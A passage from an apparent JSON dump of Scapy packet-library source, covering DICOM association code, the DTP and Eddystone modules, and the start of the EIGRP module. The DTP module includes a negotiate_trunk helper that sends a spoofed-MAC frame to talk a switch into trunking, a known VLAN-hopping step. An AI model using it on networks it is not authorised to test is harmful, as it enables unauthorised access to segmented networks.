ByteField(\"reserved1\", 0),\n        ByteField(\"reserved2\", 0),\n        ByteEnumField(\"source\", 0, SOURCE_CODES),\n        ByteField(\"reason_diag\", 0),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"A-ABORT %source%\")\n\n\nbind_layers(TCP, DICOM, dport=DICOM_PORT)\nbind_layers(TCP, DICOM, sport=DICOM_PORT)\nbind_layers(TCP, DICOM, dport=DICOM_PORT_ALT)\nbind_layers(TCP, DICOM, sport=DICOM_PORT_ALT)\nbind_layers(DICOM, A_ASSOCIATE_RQ, pdu_type=0x01)\nbind_layers(DICOM, A_ASSOCIATE_AC, pdu_type=0x02)\nbind_layers(DICOM, A_ASSOCIATE_RJ, pdu_type=0x03)\nbind_layers(DICOM, P_DATA_TF, pdu_type=0x04)\nbind_layers(DICOM, A_RELEASE_RQ, pdu_type=0x05)\nbind_layers(DICOM, A_RELEASE_RP, pdu_type=0x06)\nbind_layers(DICOM, A_ABORT, pdu_type=0x07)\n\n\ndef build_presentation_context_rq(context_id: int,\n                                  abstract_syntax_uid: str,\n                                  transfer_syntax_uids: List[str]) -> Packet:\n    \"\"\"Build a Presentation Context RQ item.\"\"\"\n    abs_uid = _uid_to_bytes(abstract_syntax_uid)\n    abs_syn = DICOMVariableItem() / DICOMAbstractSyntax(uid=abs_uid)\n\n    sub_items = [abs_syn]\n    for ts_uid in transfer_syntax_uids:\n        ts = DICOMVariableItem() / DICOMTransferSyntax(uid=_uid_to_bytes(ts_uid))\n        sub_items.append(ts)\n\n    return DICOMVariableItem() / DICOMPresentationContextRQ(\n        context_id=context_id,\n        sub_items=sub_items,\n    )\n\n\ndef build_user_information(max_pdu_length: int = 16384,\n                           implementation_class_uid: Optional[str] = None,\n                           implementation_version: Optional[Union[str, bytes]] = None\n                           ) -> Packet:\n    \"\"\"Build a User Information item.\"\"\"\n    sub_items = [\n        DICOMVariableItem() / DICOMMaximumLength(max_pdu_length=max_pdu_length)\n    ]\n\n    if implementation_class_uid:\n        uid = _uid_to_bytes(implementation_class_uid)\n        sub_items.append(\n            DICOMVariableItem() / DICOMImplementationClassUID(uid=uid)\n        )\n\n    if implementation_version:\n        if isinstance(implementation_version, bytes):\n            ver_bytes = implementation_version\n        else:\n            ver_bytes = implementation_version.encode('ascii')\n        sub_items.append(\n            DICOMVariableItem() / DICOMImplementationVersionName(name=ver_bytes)\n        )\n\n    return DICOMVariableItem() / DICOMUserInformation(sub_items=sub_items)\n\n\nclass DICOMSocket:\n    \"\"\"DICOM application-layer socket for associations and DIMSE operations.\"\"\"\n\n    def __init__(self, dst_ip: str, dst_port: int, dst_ae: str,\n                 src_ae: str = \"SCAPY_SCU\", read_timeout: int = 10) -> None:\n        self.dst_ip = dst_ip\n        self.dst_port = dst_port\n        self.dst_ae = dst_ae\n        self.src_ae = src_ae\n        self.sock: Optional[socket.socket] = None\n        self.stream: Optional[StreamSocket] = None\n        self.assoc_established = False\n        self.accepted_contexts: Dict[int, Tuple[str, str]] = {}\n        self.read_timeout = read_timeout\n        self._current_message_id_counter = int(time.time()) % 50000\n        self._proposed_max_pdu = 16384\n        self.max_pdu_length = 16384\n        self._proposed_context_map: Dict[int, str] = {}\n\n    def __enter__(self) -> Self:\n        return self\n\n    def __exit__(self, exc_type: Any, exc_val: Any, exc_tb: Any) -> bool:\n        if self.assoc_established:\n            try:\n                self.release()\n            except (socket.error, socket.timeout, OSError):\n                pass\n        self.close()\n        return False\n\n    def connect(self) -> bool:\n        try:\n            self.sock = socket.create_connection(\n                (self.dst_ip, self.dst_port),\n                timeout=self.read_timeout,\n            )\n            self.stream = StreamSocket(self.sock, basecls=DICOM)\n            return True\n        except (socket.error, socket.timeout, OSError) as e:\n            log.error(\"Connection failed: %s\", e)\n            return False\n\n    def send(self, pkt: Packet) -> None:\n        self.stream.send(pkt)\n\n    def recv(self) -> Optional[Packet]:\n        try:\n            return self.stream.recv()\n        except socket.timeout:\n            return None\n        except (socket.error, OSError) as e:\n            log.error(\"Error receiving PDU: %s\", e)\n            return None\n\n    def sr1(self, *args, **kargs):\n        # type: (*Any, **Any) -> Optional[Packet]\n        \"\"\"Send one packet and receive one answer.\"\"\"\n        timeout = kargs.pop(\"timeout\", self.read_timeout)\n        try:\n            return self.stream.sr1(*args, timeout=timeout, **kargs)\n        except (socket.error, OSError) as e:\n            log.error(\"Error in sr1: %s\", e)\n            return None\n\n    def send_raw_bytes(self, raw_bytes: bytes) -> None:\n        self.sock.sendall(raw_bytes)\n\n    def associate(self, requested_contexts: Optional[Dict[str, List[str]]] = None\n                  ) -> bool:\n        if not self.stream and not self.connect():\n            return False\n\n        if requested_contexts is None:\n            requested_contexts = {\n                VERIFICATION_SOP_CLASS_UID: [DEFAULT_TRANSFER_SYNTAX_UID]\n            }\n\n        self._proposed_context_map = {}\n\n        variable_items: List[Packet] = [\n            DICOMVariableItem() / DICOMApplicationContext()\n        ]\n\n        ctx_id = 1\n        for abs_syntax, trn_syntaxes in requested_contexts.items():\n            self._proposed_context_map[ctx_id] = abs_syntax\n            pctx = build_presentation_context_rq(ctx_id, abs_syntax, trn_syntaxes)\n            variable_items.append(pctx)\n            ctx_id += 2\n\n        user_info = build_user_information(max_pdu_length=self._proposed_max_pdu)\n        variable_items.append(user_info)\n\n        assoc_rq = DICOM() / A_ASSOCIATE_RQ(\n            called_ae_title=self.dst_ae,\n            calling_ae_title=self.src_ae,\n            variable_items=variable_items,\n        )\n\n        response = self.sr1(assoc_rq)\n\n        if response:\n            if response.haslayer(A_ASSOCIATE_AC):\n                self.assoc_established = True\n                self._parse_accepted_contexts(response)\n                self._parse_max_pdu_length(response)\n                return True\n            elif response.haslayer(A_ASSOCIATE_RJ):\n                log.error(\n                    \"Association rejected: result=%d, source=%d, reason=%d\",\n                    response[A_ASSOCIATE_RJ].result,\n                    response[A_ASSOCIATE_RJ].source,\n                    response[A_ASSOCIATE_RJ].reason_diag,\n                )\n                return False\n\n        log.error(\"Association failed: no valid response received\")\n        return False\n\n    def _parse_max_pdu_length(self, response: Packet) -> None:\n        try:\n            for item in response[A_ASSOCIATE_AC].variable_items:\n                if item.item_type != 0x50:\n                    continue\n                if not item.haslayer(DICOMUserInformation):\n                    continue\n                user_info = item[DICOMUserInformation]\n                for sub_item in user_info.sub_items:\n                    if sub_item.item_type != 0x51:\n                        continue\n                    if not sub_item.haslayer(DICOMMaximumLength):\n                        continue\n                    max_len = sub_item[DICOMMaximumLength]\n                    server_max = max_len.max_pdu_length\n                    self.max_pdu_length = min(\n                        self._proposed_max_pdu, server_max\n                    )\n                    return\n        except (KeyError, IndexError, AttributeError):\n            pass\n        self.max_pdu_length = self._proposed_max_pdu\n\n    def _parse_accepted_contexts(self, response: Packet) -> None:\n        for item in response[A_ASSOCIATE_AC].variable_items:\n            if item.item_type != 0x21:\n                continue\n            if not item.haslayer(DICOMPresentationContextAC):\n                continue\n            pctx = item[DICOMPresentationContextAC]\n            ctx_id = pctx.context_id\n            result = pctx.result\n\n            if result != 0:\n                continue\n\n            abs_syntax = self._proposed_context_map.get(ctx_id)\n            if abs_syntax is None:\n                continue\n\n            for sub_item in pctx.sub_items:\n                if sub_item.item_type != 0x40:\n                    continue\n                if not sub_item.haslayer(DICOMTransferSyntax):\n                    continue\n                ts_uid = sub_item[DICOMTransferSyntax].uid\n                ts_uid = ts_uid.rstrip(b\"\\x00\").decode(\"ascii\")\n                self.accepted_contexts[ctx_id] = (abs_syntax, ts_uid)\n                break\n\n    def _get_next_message_id(self) -> int:\n        self._current_message_id_counter += 1\n        return self._current_message_id_counter & 0xFFFF\n\n    def _find_accepted_context_id(self, sop_class_uid: str,\n                                  transfer_syntax_uid: Optional[str] = None\n                                  ) -> Optional[int]:\n        for ctx_id, (abs_syntax, ts_syntax) in self.accepted_contexts.items():\n            if abs_syntax == sop_class_uid:\n                if transfer_syntax_uid is None or transfer_syntax_uid == ts_syntax:\n                    return ctx_id\n        return None\n\n    def c_echo(self) -> Optional[int]:\n        if not self.assoc_established:\n            log.error(\"Association not established\")\n            return None\n\n        echo_ctx_id = self._find_accepted_context_id(VERIFICATION_SOP_CLASS_UID)\n        if echo_ctx_id is None:\n            log.error(\"No accepted context for Verification SOP Class\")\n            return None\n\n        msg_id = self._get_next_message_id()\n        dimse_rq = bytes(C_ECHO_RQ(message_id=msg_id))\n\n        pdv_rq = PresentationDataValueItem(\n            context_id=echo_ctx_id,\n            data=dimse_rq,\n            is_command=1,\n            is_last=1,\n        )\n        pdata_rq = DICOM() / P_DATA_TF(pdv_items=[pdv_rq])\n\n        response = self.sr1(pdata_rq)\n\n        if response and response.haslayer(P_DATA_TF):\n            pdv_items = response[P_DATA_TF].pdv_items\n            if pdv_items:\n                pdv_rsp = pdv_items[0]\n                return parse_dimse_status(pdv_rsp.data)\n        return None\n\n    def c_store(self, dataset_bytes: bytes, sop_class_uid: str,\n                sop_instance_uid: str, transfer_syntax_uid: str\n                ) -> Optional[int]:\n        if not self.assoc_established:\n            log.error(\"Association not established\")\n            return None\n\n        store_ctx_id = self._find_accepted_context_id(\n            sop_class_uid,\n            transfer_syntax_uid,\n        )\n        if store_ctx_id is None:\n            log.error(\n                \"No accepted context for SOP %s with TS %s\",\n                sop_class_uid,\n                transfer_syntax_uid,\n            )\n            return None\n\n        msg_id = self._get_next_message_id()\n\n        dimse_rq = bytes(C_STORE_RQ(\n            affected_sop_class_uid=sop_class_uid,\n            affected_sop_instance_uid=sop_instance_uid,\n            message_id=msg_id,\n        ))\n\n        cmd_pdv = PresentationDataValueItem(\n            context_id=store_ctx_id,\n            data=dimse_rq,\n            is_command=1,\n            is_last=1,\n        )\n        pdata_cmd = DICOM() / P_DATA_TF(pdv_items=[cmd_pdv])\n        self.send(pdata_cmd)\n\n        max_pdv_data = self.max_pdu_length - 12\n\n        if len(dataset_bytes) <= max_pdv_data:\n            data_pdv = PresentationDataValueItem(\n                context_id=store_ctx_id,\n                data=dataset_bytes,\n                is_command=0,\n                is_last=1,\n            )\n            pdata_data = DICOM() / P_DATA_TF(pdv_items=[data_pdv])\n            self.send(pdata_data)\n        else:\n            offset = 0\n            while offset < len(dataset_bytes):\n                chunk = dataset_bytes[offset:offset + max_pdv_data]\n                is_last = 1 if (offset + len(chunk) >= len(dataset_bytes)) else 0\n                data_pdv = PresentationDataValueItem(\n                    context_id=store_ctx_id,\n                    data=chunk,\n                    is_command=0,\n                    is_last=is_last,\n                )\n                pdata_data = DICOM() / P_DATA_TF(pdv_items=[data_pdv])\n                self.send(pdata_data)\n                offset += len(chunk)\n\n        response = self.recv()\n\n        if response and response.haslayer(P_DATA_TF):\n            pdv_items = response[P_DATA_TF].pdv_items\n            if pdv_items:\n                pdv_rsp = pdv_items[0]\n                return parse_dimse_status(pdv_rsp.data)\n        return None\n\n    def release(self) -> bool:\n        if not self.assoc_established:\n            return True\n\n        release_rq = DICOM() / A_RELEASE_RQ()\n        response = self.sr1(release_rq)\n        self.close()\n\n        if response:\n            return response.haslayer(A_RELEASE_RP)\n        return False\n\n    def close(self) -> None:\n        if self.stream:\n            try:\n                self.stream.close()\n            except (socket.error, OSError):\n                pass\n        self.sock = None\n        self.stream = None\n        self.assoc_established = False\n"
  },
  {
    "path": "scapy/contrib/dtp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Dynamic Trunking Protocol (DTP)\n# scapy.contrib.status = loads\n\n\"\"\"\n    DTP Scapy Extension\n    ~~~~~~~~~~~~~~~~~~~\n\n    :version: 2008-12-22\n    :author: Jochen Bartl <lobo@c3a.de>\n\n    :Thanks:\n\n    - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard)  # noqa: E501\n\"\"\"\n\nimport struct\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteField, FieldLenField, MACField, PacketListField, \\\n    ShortField, StrLenField, XShortField\nfrom scapy.layers.l2 import SNAP, Dot3, LLC\nfrom scapy.sendrecv import sendp\nfrom scapy.config import conf\nfrom scapy.volatile import RandMAC\n\n\nclass DtpGenericTlv(Packet):\n    name = \"DTP Generic TLV\"\n    fields_desc = [XShortField(\"type\", 0x0001),\n                   FieldLenField(\"length\", None, length_of=lambda pkt:pkt.value + 4),  # noqa: E501\n                   StrLenField(\"value\", \"\", length_from=lambda pkt:pkt.length - 4)  # noqa: E501\n                   ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            cls = _DTP_TLV_CLS.get(t, \"DtpGenericTlv\")\n        return cls\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass DTPDomain(DtpGenericTlv):\n    name = \"DTP Domain\"\n    fields_desc = [ShortField(\"type\", 1),\n                   FieldLenField(\"length\", None, \"domain\", adjust=lambda pkt, x:x + 4),  # noqa: E501\n                   StrLenField(\"domain\", b\"\\x00\", length_from=lambda pkt:pkt.length - 4)  # noqa: E501\n                   ]\n\n\nclass DTPStatus(DtpGenericTlv):\n    name = \"DTP Status\"\n    fields_desc = [ShortField(\"type\", 2),\n                   FieldLenField(\"length\", None, \"status\", adjust=lambda pkt, x:x + 4),  # noqa: E501\n                   StrLenField(\"status\", b\"\\x03\", length_from=lambda pkt:pkt.length - 4)  # noqa: E501\n                   ]\n\n\nclass DTPType(DtpGenericTlv):\n    name = \"DTP Type\"\n    fields_desc = [ShortField(\"type\", 3),\n                   FieldLenField(\"length\", None, \"dtptype\", adjust=lambda pkt, x:x + 4),  # noqa: E501\n                   StrLenField(\"dtptype\", b\"\\xa5\", length_from=lambda pkt:pkt.length - 4)  # noqa: E501\n                   ]\n\n\nclass DTPNeighbor(DtpGenericTlv):\n    name = \"DTP Neighbor\"\n    fields_desc = [ShortField(\"type\", 4),\n                   # FieldLenField(\"length\", None, \"neighbor\", adjust=lambda pkt,x:x + 4),  # noqa: E501\n                   ShortField(\"len\", 10),\n                   MACField(\"neighbor\", None)\n                   ]\n\n\n_DTP_TLV_CLS = {\n    0x0001: DTPDomain,\n    0x0002: DTPStatus,\n    0x0003: DTPType,\n    0x0004: DTPNeighbor\n}\n\n\nclass DTP(Packet):\n    name = \"DTP\"\n    fields_desc = [ByteField(\"ver\", 1),\n                   PacketListField(\"tlvlist\", [], DtpGenericTlv)]\n\n\nbind_layers(SNAP, DTP, code=0x2004, OUI=0xc)\n\n\ndef negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):\n    print(\"Trying to negotiate a trunk on interface %s\" % iface)\n    p = Dot3(src=mymac, dst=\"01:00:0c:cc:cc:cc\") / LLC()\n    p /= SNAP()\n    p /= DTP(tlvlist=[DTPDomain(), DTPStatus(), DTPType(), DTPNeighbor(neighbor=mymac)])  # noqa: E501\n    sendp(p)\n"
  },
  {
    "path": "scapy/contrib/eddystone.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Michael Farrell <micolous+git@gmail.com>\n#\n# scapy.contrib.description = Eddystone BLE proximity beacon\n# scapy.contrib.status = loads\n\"\"\"\nscapy.contrib.eddystone - Google Eddystone Bluetooth LE proximity beacons.\n\nThe Eddystone specification can be found at:\nhttps://github.com/google/eddystone/blob/master/protocol-specification.md\n\nThese beacons are used as building blocks for other systems:\n\n* Google's Physical Web <https://google.github.io/physical-web/>\n* RuuviTag <https://github.com/ruuvi/ruuvi-sensor-protocols>\n* Waze Beacons <https://www.waze.com/beacons>\n\n\"\"\"\n\nfrom scapy.compat import orb\nfrom scapy.fields import IntField, SignedByteField, StrField, BitField, \\\n    StrFixedLenField, ShortField, FixedPointField, ByteEnumField\nfrom scapy.layers.bluetooth import EIR_Hdr, EIR_ServiceData16BitUUID, \\\n    EIR_CompleteList16BitServiceUUIDs, LowEnergyBeaconHelper\nfrom scapy.packet import bind_layers, Packet\n\nEDDYSTONE_UUID = 0xfeaa\n\nEDDYSTONE_URL_SCHEMES = {\n    0: b\"http://www.\",\n    1: b\"https://www.\",\n    2: b\"http://\",\n    3: b\"https://\",\n}\n\nEDDYSTONE_URL_TABLE = {\n    0: b\".com/\",\n    1: b\".org/\",\n    2: b\".edu/\",\n    3: b\".net/\",\n    4: b\".info/\",\n    5: b\".biz/\",\n    6: b\".gov/\",\n    7: b\".com\",\n    8: b\".org\",\n    9: b\".edu\",\n    10: b\".net\",\n    11: b\".info\",\n    12: b\".biz\",\n    13: b\".gov\",\n}\n\n\nclass EddystoneURLField(StrField):\n    # https://github.com/google/eddystone/tree/master/eddystone-url#eddystone-url-http-url-encoding\n    def i2m(self, pkt, x):\n        if x is None:\n            return b\"\"\n\n        o = bytearray()\n        p = 0\n        while p < len(x):\n            c = orb(x[p])\n            if c == 46:  # \".\"\n                for k, v in EDDYSTONE_URL_TABLE.items():\n                    if x.startswith(v, p):\n                        o.append(k)\n                        p += len(v) - 1\n                        break\n                else:\n                    o.append(c)\n            else:\n                o.append(c)\n            p += 1\n\n        # Make the output immutable.\n        return bytes(o)\n\n    def m2i(self, pkt, x):\n        if not x:\n            return None\n\n        o = bytearray()\n        for c in x:\n            i = orb(c)\n            r = EDDYSTONE_URL_TABLE.get(i)\n            if r is None:\n                o.append(i)\n            else:\n                o.extend(r)\n        return bytes(o)\n\n    def any2i(self, pkt, x):\n        if isinstance(x, str):\n            x = x.encode(\"ascii\")\n        return x\n\n\nclass Eddystone_Frame(Packet, LowEnergyBeaconHelper):\n    \"\"\"\n    The base Eddystone frame on which all Eddystone messages are built.\n\n    https://github.com/google/eddystone/blob/master/protocol-specification.md\n    \"\"\"\n    name = \"Eddystone Frame\"\n    fields_desc = [\n        BitField(\"type\", None, 4),\n        BitField(\"reserved\", 0, 4),\n    ]\n\n    def build_eir(self):\n        \"\"\"Builds a list of EIR messages to wrap this frame.\"\"\"\n\n        return LowEnergyBeaconHelper.base_eir + [\n            EIR_Hdr() / EIR_CompleteList16BitServiceUUIDs(svc_uuids=[\n                EDDYSTONE_UUID]),\n            EIR_Hdr() / EIR_ServiceData16BitUUID() / self\n        ]\n\n\nclass Eddystone_UID(Packet):\n    \"\"\"\n    An Eddystone type for transmitting a unique identifier.\n\n    https://github.com/google/eddystone/tree/master/eddystone-uid\n    \"\"\"\n    name = \"Eddystone UID\"\n    fields_desc = [\n        SignedByteField(\"tx_power\", 0),\n        StrFixedLenField(\"namespace\", None, 10),\n        StrFixedLenField(\"instance\", None, 6),\n        StrFixedLenField(\"reserved\", None, 2),\n    ]\n\n\nclass Eddystone_URL(Packet):\n    \"\"\"\n    An Eddystone type for transmitting a URL (to a web page).\n\n    https://github.com/google/eddystone/tree/master/eddystone-url\n    \"\"\"\n    name = \"Eddystone URL\"\n    fields_desc = [\n        SignedByteField(\"tx_power\", 0),\n        ByteEnumField(\"url_scheme\", 0, EDDYSTONE_URL_SCHEMES),\n        EddystoneURLField(\"url\", None),\n    ]\n\n    def to_url(self):\n        return EDDYSTONE_URL_SCHEMES[self.url_scheme] + self.url\n\n    @staticmethod\n    def from_url(url):\n        \"\"\"Creates an Eddystone_Frame with a Eddystone_URL for a given URL.\"\"\"\n        url = url.encode('ascii')\n        scheme = None\n        for k, v in EDDYSTONE_URL_SCHEMES.items():\n            if url.startswith(v):\n                scheme = k\n                url = url[len(v):]\n                break\n        else:\n            raise Exception(\"URLs must start with EDDYSTONE_URL_SCHEMES\")\n\n        return Eddystone_Frame() / Eddystone_URL(\n            url_scheme=scheme,\n            url=url)\n\n\nclass Eddystone_TLM(Packet):\n    \"\"\"\n    An Eddystone type for transmitting beacon telemetry information.\n\n    https://github.com/google/eddystone/tree/master/eddystone-tlm\n    \"\"\"\n    name = \"Eddystone TLM\"\n    fields_desc = [\n        ByteEnumField(\"version\", None, {\n            0: \"unencrypted\",\n            1: \"encrypted\",\n        }),\n    ]\n\n\nclass Eddystone_TLM_Unencrypted(Packet):\n    \"\"\"\n    A subtype of Eddystone-TLM for transmitting telemetry in unencrypted form.\n\n    https://github.com/google/eddystone/blob/master/eddystone-tlm/tlm-plain.md\n    \"\"\"\n    name = \"Eddystone TLM (Unencrypted)\"\n    fields_desc = [\n        ShortField(\"batt_mv\", 0),\n        FixedPointField(\"temperature\", -128, 16, 8),\n        IntField(\"adv_cnt\", None),\n        IntField(\"sec_cnt\", None),\n    ]\n\n\nclass Eddystone_TLM_Encrypted(Packet):\n    \"\"\"\n    A subtype of Eddystone-TLM for transmitting telemetry in encrypted form.\n\n    This implementation does not support decrypting this data.\n\n    https://github.com/google/eddystone/blob/master/eddystone-tlm/tlm-encrypted.md\n    \"\"\"\n    name = \"Eddystone TLM (Encrypted)\"\n    fields_desc = [\n        StrFixedLenField(\"etlm\", None, 12),\n        StrFixedLenField(\"salt\", None, 2),\n        StrFixedLenField(\"mic\", None, 2),\n    ]\n\n\nclass Eddystone_EID(Packet):\n    \"\"\"\n    An Eddystone type for transmitting encrypted, ephemeral identifiers.\n\n    This implementation does not support decrypting this data.\n\n    https://github.com/google/eddystone/tree/master/eddystone-eid\n    \"\"\"\n    name = \"Eddystone EID\"\n    fields_desc = [\n        SignedByteField(\"tx_power\", 0),\n        StrFixedLenField(\"eid\", None, 8),\n    ]\n\n\nbind_layers(Eddystone_TLM, Eddystone_TLM_Unencrypted, version=0)\nbind_layers(Eddystone_TLM, Eddystone_TLM_Encrypted, version=1)\n\nbind_layers(Eddystone_Frame, Eddystone_UID, type=0)\nbind_layers(Eddystone_Frame, Eddystone_URL, type=1)\nbind_layers(Eddystone_Frame, Eddystone_TLM, type=2)\nbind_layers(Eddystone_Frame, Eddystone_EID, type=3)\n\nbind_layers(EIR_ServiceData16BitUUID, Eddystone_Frame, svc_uuid=EDDYSTONE_UUID)\n"
  },
  {
    "path": "scapy/contrib/eigrp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2009 Jochen Bartl\n\n# scapy.contrib.description = Enhanced Interior Gateway Routing Protocol (EIGRP)\n# scapy.contrib.status = loads\n\n\"\"\"\n    EIGRP Scapy Extension\n    ~~~~~~~~~~~~~~~~~~~~~\n\n    :version:   2009-08-13\n    :e-mail:    lobo@c3a.de / jochen.bartl@gmail.com\n\n    :TODO\n\n    - Replace TLV code with a more generic solution\n        * http://trac.secdev.org/scapy/ticket/90\n    - Write function for calculating authentication data\n\n    :Thanks:\n\n    - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard)\n        http://trac.secdev.org/scapy/ticket/18\n    - IOS / EIGRP Version Representation FIX by Dirk Loss\n\"\"\"\nimport socket\nimport struct\n\nfrom scapy.packet import Packet\nfrom scapy.fields import StrField, IPField, XShortField, FieldLenField, \\\n    StrLenField, IntField, ByteEnumField, ByteField, ConditionalField, \\\n    FlagsField, IP6Field, PacketListField, ShortEnumField, \\\n    ShortField, StrFixedLenField, ThreeBytesField\nfrom scapy.layers.inet import IP, checksum, bind_layers\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.compat import chb\nfrom scapy.config import conf\nfrom scapy.utils import inet_aton, inet_ntoa\nfrom scapy.pton_ntop import inet_ntop, inet_pton\nfrom scapy.error import warning, Scapy_Exception\nfrom scapy.volatile import RandShort, RandString\n\n\nclass EigrpIPField(StrField, IPField):\n    \"\"\"\n    This is a special field type for handling ip addresses of destination networks in internal and\n    external route updates.\n\n    EIGRP removes zeros from the host portion of the ip address if the netmask is 8, 16 or 24 bits.\n    \"\"\"\n\n    __slots__ = [\"length_from\"]\n\n    def __init__(self, name, default, length=None, length_from=None):\n        StrField.__init__(self, name, default)\n        self.length_from = length_from\n        if length is not None:\n            self.length_from = lambda pkt, length=length: length\n\n    def h2i(self, pkt, x):\n        return IPField.h2i(self, pkt, x)\n\n    def i2m(self, pkt, x):\n        x = inet_aton(x)\n        tmp_len = self.length_from(pkt)\n\n        if tmp_len <= 8:\n            return x[:1]\n        elif tmp_len <= 16:\n            return x[:2]\n        elif tmp_len <= 24:\n            return x[:3]\n        else:\n            return x\n\n    def m2i(self, pkt, x):\n        tmp_len = self.length_from(pkt)\n\n        if tmp_len <= 8:\n            x += b\"\\x00\\x00\\x00\"\n        elif tmp_len <= 16:\n            x += b\"\\x00\\x00\"\n        elif tmp_len <= 24:\n            x += b\"\\x00\"\n\n        return inet_ntoa(x)\n\n    def prefixlen_to_bytelen(self, tmp_len):\n        if tmp_len <= 8:\n            tmp_len = 1\n        elif tmp_len <= 16:\n            tmp_len = 2\n        elif tmp_len <= 24:\n            tmp_len = 3\n        else:\n            tmp_len = 4\n\n        return tmp_len\n\n    def i2len(self, pkt, x):\n        tmp_len = self.length_from(pkt)\n        tmp_len = self.prefixlen_to_bytelen(tmp_len)\n        return tmp_len\n\n    def getfield(self, pkt, s):\n        tmp_len = self.length_from(pkt)\n        tmp_len = self.prefixlen_to_bytelen(tmp_len)\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n    def randval(self):\n        return IPField.randval(self)\n\n\nclass EigrpIP6Field(StrField, IP6Field):\n    \"\"\"\n    This is a special field type for handling ip addresses of destination networks in internal and\n    external route updates.\n\n    \"\"\"\n\n    __slots__ = [\"length_from\"]\n\n    def __init__(self, name, default, length=None, length_from=None):\n        StrField.__init__(self, name, default)\n        self.length_from = length_from\n        if length is not None:\n            self.length_from = lambda pkt, length=length: length\n\n    def any2i(self, pkt, x):\n        return IP6Field.any2i(self, pkt, x)\n\n    def i2repr(self, pkt, x):\n        return IP6Field.i2repr(self, pkt, x)\n\n    def h2i(self, pkt, x):\n        return IP6Field.h2i(self, pkt, x)\n\n    def i2m(self, pkt, x):\n        x = inet_pton(socket.AF_INET6, x)\n        tmp_len = self.length_from(pkt)\n        tmp_len = self.prefixlen_to_bytelen(tmp_len)\n\n        return x[:tmp_len]\n\n    def m2i(self, pkt, x):\n        tmp_len = self.length_from(pkt)\n\n        prefixlen = self.prefixlen_to_bytelen(tmp_len)\n        if tmp_len > 128:\n            warning(\"EigrpIP6Field: Prefix length is > 128. Dissection of this packet will fail\")  # noqa: E501\n        else:\n            pad = b\"\\x00\" * (16 - prefixlen)\n            x += pad\n\n        return inet_ntop(socket.AF_INET6, x)\n\n    def prefixlen_to_bytelen(self, plen):\n        plen = plen // 8\n\n        if plen < 16:\n            plen += 1\n\n        return plen\n\n    def i2len(self, pkt, x):\n        tmp_len = self.length_from(pkt)\n        tmp_len = self.prefixlen_to_bytelen(tmp_len)\n        return tmp_len\n\n    def getfield(self, pkt, s):\n        tmp_len = self.length_from(pkt)\n        tmp_len = self.prefixlen_to_bytelen(tmp_len)\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n    def randval(self):\n        return IP6Field.randval(self)\n\n\nclass EIGRPGeneric(Packet):\n    name = \"EIGRP Generic TLV\"\n    fields_desc = [XShortField(\"type\", 0x0000),\n                   FieldLenField(\"len\", None, \"value\", \"!H\", adjust=lambda pkt, x: x + 4),  # noqa: E501\n                   StrLenField(\"value\", b\"\\x00\", length_from=lambda pkt: pkt.len - 4)]  # noqa: E501\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass EIGRPParam(EIGRPGeneric):\n    name = \"EIGRP Parameters\"\n    fields_desc = [XShortField(\"type\", 0x0001),\n                   ShortField(\"len\", 12),\n                   # Bandwidth\n                   ByteField(\"k1\", 1),\n                   # Load\n                   ByteField(\"k2\", 0),\n                   # Delay\n                   ByteField(\"k3\", 1),\n                   # Reliability\n                   ByteField(\"k4\", 0),\n                   # MTU\n                   ByteField(\"k5\", 0),\n                   ByteField(\"reserved\", 0),\n                   ShortField(\"holdtime\", 15)\n                   ]\n\n\nclass EIGRPAuthData(EIGRPGeneric):\n    name = \"EIGRP Authentication Data\"\n    fields_desc = [XShortField(\"type\", 0x0002),\n                   FieldLenField(\"len\", None, \"authdata\", \"!H\", adjust=lambda pkt, x: x + 24),  # noqa: E501\n                   ShortEnumField(\"authtype\", 2, {2: \"MD5\"}),\n                   ShortField(\"keysize\", None),\n                   IntField(\"keyid\", 1),\n                   StrFixedLenField(\"nullpad\", b\"\\x00\" * 12, 12),\n                   StrLenField(\"authdata\", RandString(16), length_from=lambda pkt: pkt.keysize)  # noqa: E501\n                   ]\n\n    def post_build(self, p, pay):\n        p += pay\n\n        if self.keysize is None:\n            keysize = len(self.authdata)\n            p = p[:6] + chb((keysize >> 8) & 0xff) + chb(keysize & 0xff) + p[8:]  # noqa: E501\n\n        return p\n\n\nclass EIGRPSeq(EIGRPGeneric):\n    name = \"EIGRP Sequence\"\n    fields_desc = [XShortField(\"type\", 0x0003),\n                   ShortField(\"len\", None),\n                   ByteField(\"addrlen\", 4),\n                   ConditionalField(IPField(\"ipaddr\", \"192.168.0.1\"),\n                                    lambda pkt:pkt.addrlen == 4),\n                   ConditionalField(IP6Field(\"ip6addr\", \"2001::\"),\n                                    lambda pkt:pkt.addrlen == 16)\n                   ]\n\n    def post_build(self, p, pay):\n        p += pay\n\n        if self.len is None:\n            tmp_len = len(p)\n            tmp_p = p[:2] + chb((tmp_len >> 8) & 0xff)\n            p = tmp_p + chb(tmp_len & 0xff) + p[4:]\n\n        return p\n\n\nclass ShortVersionField(ShortField):\n    def i2repr(self, pkt, x):\n        try:\n            minor = x & 0xff\n            major = (x >> 8) & 0xff\n        except TypeError:\n            return \"unknown\"\n        else:\n            # We print a leading 'v' so that these values don't look like floats  # noqa: E501\n            return \"v%s.%s\" % (major, minor)\n\n    def h2i(self, pkt, x):\n        \"\"\"The field accepts string values like v12.1, v1.1 or integer values.\n           String values have to start with a \"v\" followed by a\n           